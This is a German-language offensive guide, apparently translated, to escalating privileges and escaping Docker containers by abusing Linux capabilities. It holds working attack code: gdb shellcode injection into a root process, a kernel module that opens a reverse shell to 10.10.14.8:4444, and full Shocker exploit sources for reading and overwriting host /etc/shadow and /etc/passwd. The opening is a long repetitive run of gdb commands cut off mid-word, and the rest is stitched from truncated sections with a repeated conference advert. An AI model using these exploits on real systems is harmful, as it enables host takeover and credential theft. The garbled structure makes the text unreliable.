(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) set scheduler-locking off
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) set scheduler-locking on
(gdb) run
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) set scheduler-locking on
(gdb) run
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) set scheduler-locking on
(gdb) run
(gdb) set follow-fork-mode parent
(gdb) catch exec
(gdb) set detach-on-fork off
(gdb) set scheduler-locking on
(gdb) run
(gdb) set follow-fork-mode child
(gdb) catch exec
(gdb) set detach-on-fork on
(gdb) set scheduler-locking off
(g
```bash
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]
Beispiel mit Umgebung (Docker-Breakout) - Ein weiterer gdb-Missbrauch
Wenn GDB installiert ist (oder Sie können es mit apk add gdb oder apt install gdb zum Beispiel installieren), können Sie einen Prozess vom Host aus debuggen und ihn die Funktion system aufrufen lassen. (Diese Technik erfordert auch die Fähigkeit SYS_ADMIN).
Sie werden die Ausgabe des ausgeführten Befehls nicht sehen können, aber er wird von diesem Prozess ausgeführt (um eine Reverse-Shell zu erhalten).
Wenn Sie den Fehler "Kein Symbol "system" im aktuellen Kontext" erhalten, überprüfen Sie das vorherige Beispiel zum Laden eines Shellcodes in ein Programm über gdb.
Beispiel mit Umgebung (Docker-Breakout) - Shellcode-Injektion
Sie können die aktivierten Fähigkeiten innerhalb des Docker-Containers mit folgendem Befehl überprüfen:
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root
Liste Prozesse, die auf dem Host ausgeführt werden ps -eaf
Ändere den Shellcode innerhalb des Programms und kompiliere es gcc inject.c -o inject
Füge ihn ein und erhalte deine Shell: ./inject 299; nc 172.17.0.1 5600
CAP_SYS_MODULE
CAP_SYS_MODULE ermöglicht einem Prozess das Laden und Entladen von Kernelmodulen (init_module(2), finit_module(2) und delete_module(2) Systemaufrufe), was direkten Zugriff auf die Kernoperationen des Kernels bietet. Diese Fähigkeit birgt erhebliche Sicherheitsrisiken, da sie Privilegieneskalation und vollständige Kompromittierung des Systems ermöglicht, indem sie Modifikationen am Kernel zulässt und somit alle Linux-Sicherheitsmechanismen umgeht, einschließlich Linux Security Modules und Container-Isolierung. Dies bedeutet, dass du Kernelmodule in den Kernel der Host-Maschine einfügen/entfernen kannst.
Beispiel mit Binärdatei
Im folgenden Beispiel hat die Binärdatei python diese Fähigkeit.
Standardmäßig überprüft der Befehl modprobe die Abhängigkeitsliste und die Zuordnungsdateien im Verzeichnis /lib/modules/$(uname -r).
Um dies auszunutzen, erstellen wir einen gefälschten lib/modules-Ordner:
mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)
Dann kompilieren Sie das Kernel-Modul, Sie finden unten 2 Beispiele, und kopieren Sie es in diesen Ordner:
cp reverse-shell.ko lib/modules/$(uname -r)/
Schließlich führen Sie den erforderlichen Python-Code aus, um dieses Kernelmodul zu laden:
import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")
Beispiel 2 mit Binärdatei
Im folgenden Beispiel hat die Binärdatei kmod diese Fähigkeit.
Das bedeutet, dass es möglich ist, den Befehl insmod zu verwenden, um ein Kernel-Modul einzufügen. Folgen Sie dem unten stehenden Beispiel, um eine Reverse-Shell unter Ausnutzung dieses Privilegs zu erhalten.
Beispiel mit Umgebung (Docker-Breakout)
Sie können die aktivierten Fähigkeiten innerhalb des Docker-Containers mit folgendem Befehl überprüfen:
capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Im vorherigen Output können Sie sehen, dass die SYS_MODULE-Fähigkeit aktiviert ist.
Erstellen Sie das Kernelmodul, das einen Reverse-Shell ausführt, und die Makefile, um es zu kompilieren:
reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Makefile
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Der Leerzeichen vor jedem Wort in der Makefile muss ein Tabulator sein, keine Leerzeichen!
Führen Sie make aus, um es zu kompilieren.
ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
Schließlich starten Sie nc in einer Shell und laden Sie das Modul von einer anderen aus, um die Shell im nc-Prozess zu erfassen:
CAP_DAC_READ_SEARCH ermöglicht einem Prozess, Berechtigungsprüfungen zum Lesen von Dateien und zum Lesen und Ausführen von Verzeichnissen zu umgehen. Es wird hauptsächlich für die Dateisuche oder das Lesen von Dateien verwendet. Es ermöglicht jedoch auch einem Prozess, die Funktion open_by_handle_at(2) zu verwenden, mit der auf beliebige Dateien zugegriffen werden kann, einschließlich solcher außerhalb des Mount-Namespaces des Prozesses. Der in open_by_handle_at(2) verwendete Handle soll ein nicht transparenter Bezeichner sein, der über name_to_handle_at(2) erhalten wird, kann jedoch sensible Informationen wie Inode-Nummern enthalten, die anfällig für Manipulationen sind. Das Potenzial für die Ausnutzung dieser Fähigkeit, insbesondere im Kontext von Docker-Containern, wurde von Sebastian Krahmer mit dem Shocker-Exploit demonstriert, wie hier analysiert wurde. Dies bedeutet, dass Sie Berechtigungsprüfungen zum Lesen von Dateien und zum Lesen/Ausführen von Verzeichnissen umgehen können.
Beispiel mit einer ausführbaren Datei
Die ausführbare Datei kann jede Datei lesen. Wenn also eine Datei wie "tar" diese Fähigkeit hat, kann sie die Shadow-Datei lesen:
cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
tar -cxf shadow.tar.gz
Beispiel mit binary2
In diesem Fall nehmen wir an, dass das python-Binärprogramm diese Fähigkeit hat. Um Root-Dateien aufzulisten, könnten Sie Folgendes tun:
import os
for r, d, f in os.walk('/root'):
for filename in f:
print(filename)
Und um eine Datei zu lesen, könnten Sie Folgendes tun:
print(open("/etc/shadow", "r").read())
Beispiel in der Umgebung (Docker-Ausbruch)
Sie können die aktivierten Fähigkeiten innerhalb des Docker-Containers mit folgendem Befehl überprüfen:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Im vorherigen Output können Sie sehen, dass die DAC_READ_SEARCH-Berechtigung aktiviert ist. Dadurch kann der Container Prozesse debuggen.
Sie können lernen, wie die folgende Ausnutzung funktioniert unter https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3, aber zusammengefasst erlaubt uns CAP_DAC_READ_SEARCH nicht nur das Durchsuchen des Dateisystems ohne Berechtigungsprüfungen, sondern entfernt auch explizit jegliche Prüfungen für open_by_handle_at(2) und könnte es unserem Prozess ermöglichen, auf von anderen Prozessen geöffnete sensible Dateien zuzugreifen.
Der ursprüngliche Exploit, der diese Berechtigungen ausnutzt, um Dateien vom Host zu lesen, kann hier gefunden werden: http://stealth.openwall.net/xSports/shocker.c. Die folgende Version wurde modifiziert, um als ersten Argument die Datei anzugeben, die Sie lesen möchten, und sie in eine Datei zu schreiben.
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker.c -o shocker
// ./socker /etc/shadow shadow #Read /etc/shadow from host and save result in shadow file in current dir
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char *msg)
{
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle
*oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));
if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc,char* argv[] )
{
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle(&h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
printf("Success!!\n");
FILE *fptr;
fptr = fopen(argv[2], "w");
fprintf(fptr,"%s", buf);
fclose(fptr);
close(fd2); close(fd1);
return 0;
}
Der Exploit muss einen Zeiger auf etwas finden, das auf dem Host eingebunden ist. Der ursprüngliche Exploit verwendete die Datei /.dockerinit und diese modifizierte Version verwendet /etc/hostname. Wenn der Exploit nicht funktioniert, müssen Sie möglicherweise eine andere Datei festlegen. Um eine Datei zu finden, die auf dem Host eingebunden ist, führen Sie einfach den Befehl mount aus:
RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
Beispiel mit Umgebung + CAP_DAC_READ_SEARCH (Docker-Ausbruch)
Sie können die aktivierten Fähigkeiten innerhalb des Docker-Containers mit folgendem Befehl überprüfen:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
Zunächst lesen Sie den vorherigen Abschnitt, der die Fähigkeit DAC_READ_SEARCH missbraucht, um beliebige Dateien des Hosts zu lesen, und kompilieren Sie den Exploit.
Dann kompilieren Sie die folgende Version des Shocker-Exploits, der es Ihnen ermöglicht, beliebige Dateien im Dateisystem des Hosts zu schreiben:
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}
Um aus dem Docker-Container auszubrechen, könnten Sie die Dateien /etc/shadow und /etc/passwd vom Host herunterladen, ihnen einen neuen Benutzer hinzufügen und sie mit shocker_write überschreiben. Anschließend können Sie über ssh darauf zugreifen.
Dies bedeutet, dass es möglich ist, den Besitz einer beliebigen Datei zu ändern.
Beispiel mit einem Binärfile
Angenommen, das python-Binärfile hat diese Fähigkeit, dann können Sie den Besitzer der shadow-Datei ändern, das Root-Passwort ändern und Privilegien eskalieren:
In diesem Fall sollten Sie nach interessanten Dateien suchen, die von einer Gruppe gelesen werden können, da Sie sich als jede Gruppe ausgeben können:
#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
Sobald Sie eine Datei gefunden haben, die Sie missbrauchen können (durch Lesen oder Schreiben), um Privilegien zu eskalieren, können Sie eine Shell erhalten, indem Sie sich als interessante Gruppe ausgeben mit:
import os
os.setgid(42)
os.system("/bin/bash")
In diesem Fall wurde die Gruppe "shadow" impersoniert, um die Datei /etc/shadow zu lesen:
Dies bedeutet, dass es möglich ist, Fähigkeiten auf Dateien und Prozessen zu setzen
Beispiel mit Binärdatei
Wenn Python diese Fähigkeit hat, können Sie sie sehr einfach missbrauchen, um Privilegien auf Root-Ebene zu eskalieren:
setcapability.py
import ctypes, sys
#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)
if(status == 0):
print (cap + " was successfully added to " + path)
python setcapability.py /usr/bin/python2.7
Beachten Sie, dass Sie diese Berechtigung verlieren, wenn Sie eine neue Berechtigung mit CAP_SETFCAP für die Binärdatei festlegen.
Sobald Sie die SETUID-Berechtigung haben, können Sie in den entsprechenden Abschnitt gehen, um zu sehen, wie Sie Privilegien eskalieren können.
Beispiel mit Umgebung (Docker-Ausbruch)
Standardmäßig wird dem Prozess innerhalb des Containers in Docker die Berechtigung CAP_SETFCAP zugewiesen. Sie können dies überprüfen, indem Sie Folgendes tun:
Diese Fähigkeit ermöglicht es, Binärdateien beliebige andere Fähigkeiten zu geben, sodass wir überlegen könnten, aus dem Container auszubrechen, indem wir eine der anderen Fähigkeiten nutzen, die auf dieser Seite erwähnt werden.
Wenn Sie jedoch versuchen, beispielsweise die Fähigkeiten CAP_SYS_ADMIN und CAP_SYS_PTRACE der gdb-Binärdatei zu geben, werden Sie feststellen, dass Sie sie zwar geben können, aber die Binärdatei danach nicht mehr ausgeführt werden kann:
Aus den Dokumenten: Permitted: Dies ist eine einschränkende Obermenge für die effektiven Fähigkeiten, die der Thread annehmen kann. Es ist auch eine einschränkende Obermenge für die Fähigkeiten, die von einem Thread zur vererbten Menge hinzugefügt werden können, der nicht die CAP_SETPCAP-Fähigkeit in seiner effektiven Menge hat.
Es scheint, dass die erlaubten Fähigkeiten diejenigen begrenzen, die verwendet werden können.
Allerdings gewährt Docker standardmäßig auch die CAP_SETPCAP, sodass Sie möglicherweise neue Fähigkeiten in die vererbbaren Fähigkeiten einstellen können.
In der Dokumentation dieser Fähigkeit heißt es jedoch: CAP_SETPCAP: […] Fügt der vererbbaren Menge jede Fähigkeit aus der begrenzenden Menge des aufrufenden Threads hinzu.
Es scheint, dass wir nur Fähigkeiten aus der begrenzenden Menge zur vererbbaren Menge hinzufügen können. Das bedeutet, dass wir keine neuen Fähigkeiten wie CAP_SYS_ADMIN oder CAP_SYS_PTRACE in die vererbbare Menge aufnehmen können, um Privilegien zu eskalieren.
CAP_SYS_RAWIO
CAP_SYS_RAWIO ermöglicht eine Reihe sensibler Operationen, einschließlich des Zugriffs auf /dev/mem, /dev/kmem oder /proc/kcore, der Modifikation von mmap_min_addr, des Zugriffs auf die Systemaufrufe ioperm(2) und iopl(2) sowie verschiedener Festplattenbefehle. Über diese Fähigkeit wird auch das FIBMAP ioctl(2) aktiviert, was in der Vergangenheit zu Problemen geführt hat. Laut der Manpage ermöglicht dies auch dem Inhaber, eine Reihe gerätespezifischer Operationen an anderen Geräten durchzuführen.
Dies kann für Privilegien-Eskalation und Docker-Ausbruch nützlich sein.
CAP_KILL
Dies bedeutet, dass es möglich ist, jeden Prozess zu beenden.
Beispiel mit einer ausführbaren Datei
Nehmen wir an, die python-Binärdatei hat diese Fähigkeit. Wenn Sie auch einige Dienst- oder Socket-Konfigurationen (oder eine beliebige Konfigurationsdatei im Zusammenhang mit einem Dienst) ändern könnten, könnten Sie eine Hintertür einbauen und dann den Prozess im Zusammenhang mit diesem Dienst beenden und auf die Ausführung der neuen Konfigurationsdatei mit Ihrer Hintertür warten.
#Use this python code to kill arbitrary processes
import os
import signal
pgid = os.getpgid(341)
os.killpg(pgid, signal.SIGKILL)
Privesc mit kill
Wenn Sie über Kill-Berechtigungen verfügen und ein Node-Programm als Root (oder als anderer Benutzer) ausgeführt wird, können Sie wahrscheinlich das Signal SIGUSR1 an das Programm senden und es dazu bringen, den Node-Debugger zu öffnen, mit dem Sie eine Verbindung herstellen können.
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
RootedCON ist die relevanteste Cybersicherheitsveranstaltung in Spanien und eine der wichtigsten in Europa. Mit dem Ziel, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersicherheitsprofis in jeder Disziplin.
CAP_NET_BIND_SERVICE
Dies bedeutet, dass es möglich ist, auf jedem Port zuzuhören (auch auf privilegierten Ports). Sie können die Berechtigungen nicht direkt mit dieser Fähigkeit eskalieren.
Beispiel mit Binärdatei
Wenn python diese Fähigkeit hat, kann es auf jedem Port zuhören und sogar von diesem Port aus eine Verbindung zu einem anderen Port herstellen (einige Dienste erfordern Verbindungen von bestimmten privilegierten Ports).
Die Fähigkeit CAP_NET_RAW ermöglicht es Prozessen, RAW- und PACKET-Sockets zu erstellen, mit denen sie beliebige Netzwerkpakete generieren und senden können. Dies kann zu Sicherheitsrisiken in containerisierten Umgebungen führen, wie z.B. Paket-Spoofing, Traffic-Injektion und Umgehung von Netzwerkzugriffskontrollen. Bösartige Akteure könnten dies ausnutzen, um die Container-Routing zu stören oder die Netzwerksicherheit des Hosts zu kompromittieren, insbesondere ohne ausreichenden Firewall-Schutz. Darüber hinaus ist CAP_NET_RAW für privilegierte Container wichtig, um Operationen wie das Pingen über RAW ICMP-Anfragen zu unterstützen.
Dies bedeutet, dass es möglich ist, den Datenverkehr abzufangen. Mit dieser Fähigkeit können Sie die Berechtigungen jedoch nicht direkt eskalieren.
Beispiel mit einer ausführbaren Datei
Wenn die ausführbare Datei tcpdump diese Fähigkeit hat, können Sie sie verwenden, um Netzwerkinformationen zu erfassen.
Beachten Sie, dass wenn die Umgebung diese Fähigkeit bereitstellt, können Sie auch tcpdump verwenden, um den Datenverkehr abzufangen.
Beispiel mit Binärdatei 2
Das folgende Beispiel ist ein python2-Code, der nützlich sein kann, um den Datenverkehr der "lo" (localhost) Schnittstelle abzufangen. Der Code stammt aus dem Labor "The Basics: CAP-NET_BIND + NET_RAW" von https://attackdefense.pentesteracademy.com/
Die Fähigkeit CAP_NET_ADMIN ermöglicht es dem Inhaber, Netzwerkkonfigurationen zu ändern, einschließlich Firewall-Einstellungen, Routing-Tabellen, Socket-Berechtigungen und Netzwerkschnittstelleneinstellungen innerhalb der freigegebenen Netzwerknamensräume. Sie ermöglicht auch das Aktivieren des Promiscuous-Modus auf Netzwerkschnittstellen, was das Mitschneiden von Paketen über Namensräume hinweg ermöglicht.
Beispiel mit einer ausführbaren Datei
Angenommen, die Python-Datei hat diese Fähigkeiten.
Dies bedeutet, dass es möglich ist, Inode-Attribute zu ändern. Mit dieser Fähigkeit können Sie die Privilegien nicht direkt eskalieren.
Beispiel mit Binärdatei
Wenn Sie feststellen, dass eine Datei unveränderlich ist und Python diese Fähigkeit hat, können Sie das unveränderliche Attribut entfernen und die Datei änderbar machen:
#Check that the file is imutable
lsattr file.sh
----i---------e--- backup.sh
#Pyhton code to allow modifications to the file
import fcntl
import os
import struct
FS_APPEND_FL = 0x00000020
FS_IOC_SETFLAGS = 0x40086602
fd = os.open('/path/to/file.sh', os.O_RDONLY)
f = struct.pack('i', FS_APPEND_FL)
fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
Beachten Sie, dass normalerweise dieses unveränderliche Attribut mit folgenden Befehlen gesetzt und entfernt wird:
sudo chattr +i file.txt
sudo chattr -i file.txt
CAP_SYS_CHROOT
CAP_SYS_CHROOT ermöglicht die Ausführung des chroot(2)-Systemaufrufs, der potenziell das Entkommen aus chroot(2)-Umgebungen durch bekannte Schwachstellen ermöglichen kann:
CAP_SYS_BOOT ermöglicht nicht nur die Ausführung des reboot(2)-Systemaufrufs für Systemneustarts, einschließlich spezifischer Befehle wie LINUX_REBOOT_CMD_RESTART2, die für bestimmte Hardwareplattformen angepasst sind, sondern ermöglicht auch die Verwendung von kexec_load(2) und ab Linux 3.17 kexec_file_load(2) zum Laden neuer oder signierter Crash-Kernel.
CAP_SYSLOG
